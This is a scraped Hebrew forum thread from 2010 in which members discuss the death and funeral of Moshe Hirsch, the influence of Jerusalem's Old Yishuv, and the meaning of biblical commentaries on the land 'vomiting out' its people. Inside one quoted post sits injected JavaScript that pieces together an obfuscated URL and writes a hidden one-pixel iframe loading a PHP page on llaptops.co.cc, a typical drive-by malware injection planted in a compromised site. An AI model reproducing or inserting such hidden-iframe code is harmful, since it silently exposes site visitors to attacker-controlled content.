| נשלח ב-3/5/2010 20:43 |
 |
| |
משה הירש - מה דעתכם?
בעקבות התיחסותם של ניקי הפורום השכן למותו של הירש.
סקרנותי רבה לדעת מה תגובת ודעת חכמי עצכ"ח.
כוונתי איננה למשנתו ודעותיו
אלא לברר מה אמורה להיות התגובה הנכונה למותו.
|
|
|
|
| נשלח ב-9/5/2010 17:38 |
|
| |
על קרנבליזם כזה של נתוחי מתים אכן קשה למצוא איסור מפורש, מכיון שהוא פשוט וברור, ואין צורך להפליא עליו את הדיבור.
אולם דומה שאף הצדוקים נקטו כן כדבר פשוט, ואף נתנו טעם לטומאת מת כדי שלא יעשה אדם עצמות אביו ואמו תרוודות, עיין משנה ידים פ"ד מ"ו.
|
|
|
|
| נשלח ב-9/5/2010 17:23 |
|
| |
כמדומני שהם גם המציאו את האיסור לנתח גופות לצורך קידום הרפואה והצלת חיי אדם, ואם מישהו יודע על מקור לאיסור זה בספרים יותר רציניים וקדומים שישלח
|
|
|
|
| נשלח ב-9/5/2010 11:51 |
|
| |
בכוונה לא כתבתי זאת, והנה באת להעירני לי על כך?!
|
|
|
|
| נשלח ב-9/5/2010 11:43 |
|
| |
| שבח_גרונם כתב: |  | "חברה ודת" מאת מנחם פרידמן, עבודה מקיפה לכל הנ"ל, עד תקופת קום המדינה.
|
|
שבח: חסר לו נשמה: זה כתיבה של דוקטור
|
|
|
|
| נשלח ב-9/5/2010 11:23 |
|
| |
| מיימוני כתב: | | תמהני אם היה מקום לפתוח את האשכול.
לבקשת הפותח, קודם כל שאלה מבהירה: מיהו משה הירש, מהי הביוגרפיה שלו, שבגללה הוא נושא?
***
כמדומה שנכתבו כאן באשכול פרקים על ההיסטוריה של ירושלים "שבין החומות". אם כן, יש לדבר ערך היסטורי וכדאי להשאירו.
אמנם הערה כללית: אנו נוטים לחשוב שכל מה שידוע לנו מוכר גם לאחרים. זה לא כך. למשל לא לי. ראוי היה לארגן את הדברים בצורה מסודרת. למשל, לסכם את הפרשיות על סדר התאריכים. מי גרו בירושלים. לכמה מחנות התחלקו. ממתי זה החל. מה היה הרקע וכו'.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
|
|
"חברה ודת" מאת מנחם פרידמן, עבודה מקיפה לכל הנ"ל, עד תקופת קום המדינה.
|
|
|
|
|
| נשלח ב-9/5/2010 10:05 |
|
| |
מיימוני:
אני לא מאמין שאין אשכול שדן על יישוב הישן,
הרי הם המציאו את הכוללים הם קבעו שלא רק עשרה בטלנים, כולם צריכים להיות בטלנים כהשקפה או כהלכה למשה מסיני, הם המציאו את הגמ"חים, הם המציאו לתת דירות לילדים, הם השפיעו על הגדוליים בעניין קהילות נפרדות שמקובלת כהיום על כל המגזר, (שלא כך היה באירופה לפני המלחמה ובארץ אחרי המלחמה) להתחתן בגיל צעיר מאוד, מה שפחות פגישות,
בקיצור אין פינה אחד במגזר כולו שאין השפעה מי היישוב הישן,
לדברים מעניניים אחרים: שירת הים בליל שביעי של פסח בחצות, קריאת ספר דברים מתוך ספר תורה בליל הושענה רבה,
|
|
|
|
| נשלח ב-9/5/2010 09:25 |
|
| |
תמהני אם היה מקום לפתוח את האשכול.
לבקשת הפותח, קודם כל שאלה מבהירה: מיהו משה הירש, מהי הביוגרפיה שלו, שבגללה הוא נושא?
***
כמדומה שנכתבו כאן באשכול פרקים על ההיסטוריה של ירושלים "שבין החומות". אם כן, יש לדבר ערך היסטורי וכדאי להשאירו.
אמנם הערה כללית: אנו נוטים לחשוב שכל מה שידוע לנו מוכר גם לאחרים. זה לא כך. למשל לא לי. ראוי היה לארגן את הדברים בצורה מסודרת. למשל, לסכם את הפרשיות על סדר התאריכים. מי גרו בירושלים. לכמה מחנות התחלקו. ממתי זה החל. מה היה הרקע וכו'.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-7/5/2010 15:16 |
|
| |
מקס יפה דרשת 
|
|
|
|
| נשלח ב-7/5/2010 14:04 |
|
| |
| הלב_שלי כתב: | | כוונתי איננה למשנתו ודעותיו
אלא לברר מה אמורה להיות התגובה הנכונה למותו.
האם אי מי מוכן לענות על גוף השאלה כפי שמופיעה בפתיחת האשכול
תודה
|
|
התשובה נתנו כבר הציבור שפשוט לא השתתף בלוויה,
בלוויה רגילה של אדם לא מוכר יש איזה מאה\מאתיים איש, אצלו לא היה עשר איש,
אגב: זה סתם דוגמא טובה לראות כמה הציבור הכללי לא יודע ולא מבין כלום מה ואיך החרדים מתייסים לאנשים כמו משה הירש וכמותו,
התקשורות יצא מכליו בלוויה של ר' שלמה זלמן זצ"ל ולמה כי מצד אחד ראו לוויה של חצי מיליון אנשים, מצד שני לא שמעו ממנו אף פעם,
וכאן את משה הירש ידעו והכירו ואשמיצו את הציבור כולו, וראו פלא, אין עשרה אנשים בלוויה שלו,
אפי' את ברכת האלוקים שיש לכל אדם חרדי בגילו, לא היה לו,
כלומר האדם החרדי הרגיל בגיל שלו סוגר את עיניו עם 200\500 נכדים ונינים,
ואתם יודעים כמה נכדים יש לו ? ולא רק זה, אפי' חברים ידידים לא היה לו, אפי' למת מצווה יש הרבה יותר אנשים בלוויה,
אני מקווה שקבלתה תשובה לשאלתך,
|
|
|
|
| נשלח ב-6/5/2010 21:10 |
|
| |
שבח
אבן עזרא ויקרא פרק יח
(כה) ותקיא הארץ כל מה שיקיא האדם הוא נתעב בעיניו, ואליו לא ישוב:
הנה דוגמה לפרשנות הראב"ע פרשן רציני וחשוב- ן. העובדה! שעם ישראל שב לאדמת א"י כבר שלש פעמים, למרות הפרשנות
|
|
|
|
| נשלח ב-6/5/2010 20:47 |
|
| |
נזכרתי להוסיף, דוקא בההפטרה באותו שבוע מפורש שיותר לא יגלו ישראל מעל אדמתם: "ונטעתים על אדמתם, ולא ינתשו עוד מעל אדמתם אשר נתתי להם אמר ה' אלקיך.
אבל הוכחות מהסוג שאתה הבאת, מוטב שתשאיר לר' יואל מסאטמער אותו הינך כה אוהב...
|
|
|
|
| נשלח ב-6/5/2010 20:34 |
|
| |
ירוחם, לא תעזור לך ההיתממות, אתה לא עם הארץ כזה גדול, הכוונה של "לפי פשוטו של מקרא" הוא "לפי שטחיות הדברים", אבל הפשט ודאי שאינו כך.
|
|
|
|
| נשלח ב-6/5/2010 20:12 |
|
| |
שפתי חכמים - פ' אחרי מות- יח \ כח. ולא תקיא הארץ- כותב כך- לפי פשוטו של מקרא משמע- שלא תקיא את ישראל אפילו אם יטמאו אותה, כאשר קאה את הגוי...
פשוטו של מקרא דרשתי ודורש, הפרשנות ,היא פרשנות בני אדם, המקרא קדוש כי הוא מפי הגבורה -הפרשנות לא.
|
|
|
|
| נשלח ב-6/5/2010 19:00 |
|
| |
| הלב_שלי כתב: | | בעקבות התיחסותם של ניקי הפורום השכן למותו של הירש.
סקרנותי רבה לדעת מה תגובת ודעת חכמי עצכ"ח.
כוונתי איננה למשנתו ודעותיו
אלא לברר מה אמורה להיות התגובה הנכונה למותו.
|
|
האם אי מי מוכן לענות על גוף השאלה כפי שמופיעה בפתיחת האשכול
תודה
|
|
|
|
| נשלח ב-6/5/2010 16:27 |
|
| |
| ירוחםשמ כתב: | | | אבל חבל שכבר שכחת את השפתי חכמים בפ'- אחרי מות- רק לפני שבועים- ובה הוא כותב, כי הבטחת הכתוב היא- כי אותנו הארץ לא תקיא, |
|
ירוחם, אודה לך אם תצטט לי את לשונו של השפתי חכמים, ותפרש על איזה פסוק בדיוק הוא מדבר, כי אני לא מבין לאיזה שפתי חכמים הינך מתכוין.
תוקן על ידי שבח_גרונם ב- 06/05/2010 16:30:04
|
|
|
|
|
